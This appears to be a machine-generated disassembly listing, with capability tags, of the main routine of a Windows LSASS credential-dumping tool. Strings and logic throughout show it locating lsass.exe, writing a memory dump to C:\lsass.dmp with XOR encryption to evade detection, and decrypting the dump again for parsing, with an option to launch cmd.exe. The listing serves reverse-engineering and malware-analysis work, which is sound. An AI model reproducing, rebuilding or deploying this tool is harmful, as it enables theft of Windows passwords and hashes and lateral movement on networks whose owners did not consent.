Function at 0x140001130
Capabilities:
Encode data using xor
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x90
mov rax, qword [0x140025008]
xor rax, rsp
mov qword [rsp + 0x80], rax
movups xmm0, xmmword [str.C:lsass.dmp]
lea r13, [rsp + 0x50]
movzx eax, word [0x140021678]
movsd xmm1, qword [0x140021670]
xor r15d, r15d
mov esi, 0xffffffff
mov dword [rsp + 0x48], ecx
movups xmmword [rsp + 0x50], xmm0
mov rdi, rdx
mov ebx, 1
mov dword [rsp + 0x4c], r15d
lea rdx, [rsp + 0x70]
movsd qword [rsp + 0x60], xmm1
lea ebp, [rsi + 0x29]
mov word [rsp + 0x68], ax
mov r14d, esi
mov qword [rsp + 0x40], rdx
mov r12d, r15d
movups xmm0, xmmword [str.cmd.exe]
movups xmmword [rsp + 0x70], xmm0
cmp ecx, ebx
jle 0x1400013be
lea rdx, [0x140000000]
movsxd rax, ebx
mov rcx, qword [rdi + rax*8]
cmp word [rcx], 0x2d
jne 0x14000129d
movzx eax, word [rcx + 2]
add eax, 0xffffff9d
cmp eax, 0xd
ja case.0x140001200.101
cdqe
mov ecx, dword [rdx + rax*4 + 0x14b4]
add rcx, rdx
jmp rcx
inc ebx
movsxd rcx, ebx
mov rcx, qword [rdi + rcx*8]
call fcn.1400076f8
mov esi, eax
lea rdx, [0x140000000]
jmp 0x140001287
inc ebx
movsxd rax, ebx
mov rcx, qword [rdi + rax*8]
test rcx, rcx
je case.0x140001200.101
call fcn.1400076f8
mov r14d, eax
lea rdx, [0x140000000]
jmp 0x140001287
inc ebx
movsxd rax, ebx
mov r13, qword [rdi + rax*8]
jmp 0x140001287
inc ebx
movsxd rax, ebx
mov rax, qword [rdi + rax*8]
mov qword [rsp + 0x40], rax
jmp 0x140001287
inc ebx
movsxd rcx, ebx
mov rcx, qword [rdi + rcx*8]
call fcn.1400076f8
mov ebp, eax
lea rdx, [0x140000000]
jmp 0x140001287
inc ebx
mov dword [rsp + 0x4c], 1
jmp 0x140001287
inc ebx
movsxd rax, ebx
mov r12, qword [rdi + rax*8]
mov eax, dword [rsp + 0x48]
inc ebx
add eax, 0xfffffffe
mov dword [rsp + 0x48], eax
cmp eax, 1
jg 0x1400011d3
test ebp, ebp
js 0x14000149d
cmp ebp, 0xff
jg 0x14000149d
test r12, r12
je 0x1400013b9
mov ecx, 0x12c00000
call fcn.14000ba1c
mov qword [rsp + 0x30], r15
mov r14d, 3
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], r14d
mov edx, 0xc0000000
mov rcx, r12
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001453
lea r9, [rsp + 0x48]
mov qword [rsp + 0x20], r15
mov r8d, 0x12c00000
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, r15d
cmp dword [rsp + 0x48], ecx
jbe 0x14000133e
nop word [rax + rax]
mov eax, ecx
inc ecx
xor byte [rax + rbx], bpl
cmp ecx, dword [rsp + 0x48]
jb 0x140001330
cmp byte [rbx], 0x4d
jne 0x140001397
cmp byte [rbx + 1], 0x44
jne 0x140001397
cmp byte [rbx + 2], 0x4d
jne 0x140001397
cmp byte [rbx + 3], 0x50
jne 0x140001397
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov r8d, dword [rsp + 0x48]
lea r9, [rsp + 0x4c]
mov rdx, rbx
mov qword [rsp + 0x20], r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
lea rcx, str.Lsass_dump_decrypted_succesfully._Now_you_can_parse_it_correctly._Decrypted_dump_path:__S_n
lea rdx, str.Cannot_decrypt_dump_file__S_n
cmove rcx, rdx
jmp 0x14000139e
lea rcx, str.Cannot_decrypt_dump_file__S._Wrong_XOR_key..._n
mov rdx, r12
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.14000ba08
jmp 0x140001420
cmp esi, 0xffffffff
jne 0x1400013da
lea rcx, str.Windows_system32lsass.exe
call fcn.140002c80
mov esi, eax
cmp r14d, 0xffffffff
jne 0x1400013da
mov r14d, 3
jmp 0x1400013df
test r14d, r14d
jle 0x140001414
mov rdx, r13
mov ecx, esi
cmp dword [rsp + 0x4c], r15d
je 0x1400013fd
cmp r14d, 1
seta r15b
mov r8d, r15d
call fcn.1400028d0
jmp 0x140001420
cmp r14d, 3
jne 0x14000140d
mov r8d, ebp
call fcn.140001f60
jmp 0x140001420
call fcn.140001c30
jmp 0x140001420
mov rdx, qword [rsp + 0x40]
mov ecx, esi
call fcn.1400018d0
xor eax, eax
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140002e40
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rdx, r12
lea rcx, str.Cannot_open_file__S._Exiting..._n
call fcn.140001010
mov ecx, 1
call fcn.140006cd4
int3
call fcn.140002de0
xor ecx, ecx
call fcn.140006cd4
int3
movsxd rdx, ebx
lea rcx, str.Wrong_Argument:__S_n
mov rdx, qword [rdi + rdx*8]
call fcn.140001010
call fcn.140002de0
mov ecx, 0xffffffff
call fcn.140006cd4
int3
lea rcx, str.The_Xor_key_must_be_between_1_and_255._n
call fcn.140001010
mov ecx, 0xffffffff
call fcn.140006cd4
int3